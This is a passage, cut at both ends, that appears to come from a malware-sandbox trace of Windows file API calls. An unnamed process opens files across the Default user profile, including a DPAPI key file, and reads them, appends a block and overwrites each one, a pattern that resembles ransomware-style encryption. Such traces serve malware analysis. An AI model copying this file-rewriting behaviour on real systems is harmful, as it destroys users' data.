CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0064.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e630ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0064.753] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.753] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.754] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0064.754] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x4e89a0 [0064.754] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0064.754] CloseHandle (hObject=0x1d4) returned 1 [0064.754] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.754] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.755] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x886 [0064.755] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.755] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.755] ReleaseMutex (hMutex=0x128) returned 1 [0064.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0064.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x1e630ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="state.rsm", lpUsedDefaultChar=0x0) returned 9 [0064.755] ReadFile (in: hFile=0x1d4, lpBuffer=0x27ac368, nNumberOfBytesToRead=0x886, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesRead=0x354f2bc*=0x886, lpOverlapped=0x0) returned 1 [0064.755] CloseHandle (hObject=0x1d4) returned 1 [0064.755] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.756] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.756] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x7000 [0064.756] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.756] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.756] ReleaseMutex (hMutex=0x128) returned 1 [0064.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft at Work~.feed-ms", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0064.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft at Work~.feed-ms", cchWideChar=26, lpMultiByteStr=0x1e7faec, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft at Work~.feed-ms", lpUsedDefaultChar=0x0) returned 26 [0064.756] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.757] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6000 [0064.757] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.758] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6000 [0064.758] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.758] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0064.758] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0064.758] CloseHandle (hObject=0x1d4) returned 1 [0064.759] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.759] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.759] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1106c [0064.759] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.759] ReleaseMutex (hMutex=0x128) returned 1 [0064.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LocalMLS_3.wmdb", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LocalMLS_3.wmdb", cchWideChar=15, lpMultiByteStr=0x1e6324c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LocalMLS_3.wmdb", lpUsedDefaultChar=0x0) returned 15 [0064.759] ReadFile (in: hFile=0x1d4, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0064.929] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1006c [0064.929] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.930] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1006c [0064.930] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.930] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0064.930] WriteFile (in: hFile=0x1d4, lpBuffer=0x2807d18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2807d18*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0064.930] CloseHandle (hObject=0x1d4) returned 1 [0064.930] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.931] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.931] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x427 [0064.931] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.931] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.931] ReleaseMutex (hMutex=0x128) returned 1 [0064.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10_All_Music.wpl", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10_All_Music.wpl", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10_All_Music.wpl", lpUsedDefaultChar=0x0) returned 16 [0064.931] ReadFile (in: hFile=0x1d4, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x427, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x354f2bc*=0x427, lpOverlapped=0x0) returned 1 [0065.023] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0065.023] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x9af, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x354f2d0*=0x9af, lpOverlapped=0x0) returned 1 [0065.023] CloseHandle (hObject=0x1d4) returned 1 [0065.023] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0065.024] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.024] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x200000 [0065.024] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.024] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0065.024] ReleaseMutex (hMutex=0x128) returned 1 [0065.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="edbres00002.jrs", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="edbres00002.jrs", cchWideChar=15, lpMultiByteStr=0x1e62fec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="edbres00002.jrs", lpUsedDefaultChar=0x0) returned 15 [0065.024] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0065.026] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0065.027] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1ff000 [0065.027] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0065.028] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1ff000 [0065.029] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0065.031] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0065.031] WriteFile (in: hFile=0x1d4, lpBuffer=0x399c508*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0065.032] WriteFile (in: hFile=0x1d4, lpBuffer=0x399c508*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0065.032] CloseHandle (hObject=0x1d4) returned 1 [0065.032] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0065.033] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.033] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe8 [0065.033] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.033] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0065.033] ReleaseMutex (hMutex=0x128) returned 1 [0065.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Soft Blue.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Soft Blue.htm", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Soft Blue.htm", lpUsedDefaultChar=0x0) returned 13 [0065.033] ReadFile (in: hFile=0x1d4, lpBuffer=0x2738758, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2738758*, lpNumberOfBytesRead=0x354f2bc*=0xe8, lpOverlapped=0x0) returned 1 [0065.034] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0065.034] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x670, lpOverlapped=0x0) returned 1 [0065.034] CloseHandle (hObject=0x1d4) returned 1 [0065.034] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0065.035] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.035] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x18 [0065.035] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.036] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0065.036] ReleaseMutex (hMutex=0x128) returned 1 [0065.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Preferred", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0065.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Preferred", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Preferred", lpUsedDefaultChar=0x0) returned 9 [0065.036] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e78bc8, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78bc8*, lpNumberOfBytesRead=0x354f2bc*=0x18, lpOverlapped=0x0) returned 1 [0065.036] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0065.037] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5a0, lpOverlapped=0x0) returned 1 [0065.037] CloseHandle (hObject=0x1d4) returned 1 [0065.037] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0065.038] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.038] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x85 [0065.038] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.038] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0065.038] ReleaseMutex (hMutex=0x128) returned 1 [0065.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IE site on Microsoft.com.url", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0065.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IE site on Microsoft.com.url", cchWideChar=28, lpMultiByteStr=0x1e7fd2c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE site on Microsoft.com.url", lpUsedDefaultChar=0x0) returned 28 [0065.038] ReadFile (in: hFile=0x1d4, lpBuffer=0x257e3b0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e3b0*, lpNumberOfBytesRead=0x354f2bc*=0x85, lpOverlapped=0x0) returned 1 [0065.039] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0065.039] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0065.039] CloseHandle (hObject=0x1d4) returned 1 [0065.039] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0065.039] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.040] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x85 [0065.040] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.040] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0065.040] ReleaseMutex (hMutex=0x128) returned 1 [0065.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Get Windows Live.url", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Get Windows Live.url", cchWideChar=20, lpMultiByteStr=0x1e78c44, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get Windows Live.url", lpUsedDefaultChar=0x0) returned 20 [0065.040] ReadFile (in: hFile=0x1d4, lpBuffer=0x257e3b0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e3b0*, lpNumberOfBytesRead=0x354f2bc*=0x85, lpOverlapped=0x0) returned 1 [0065.041] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 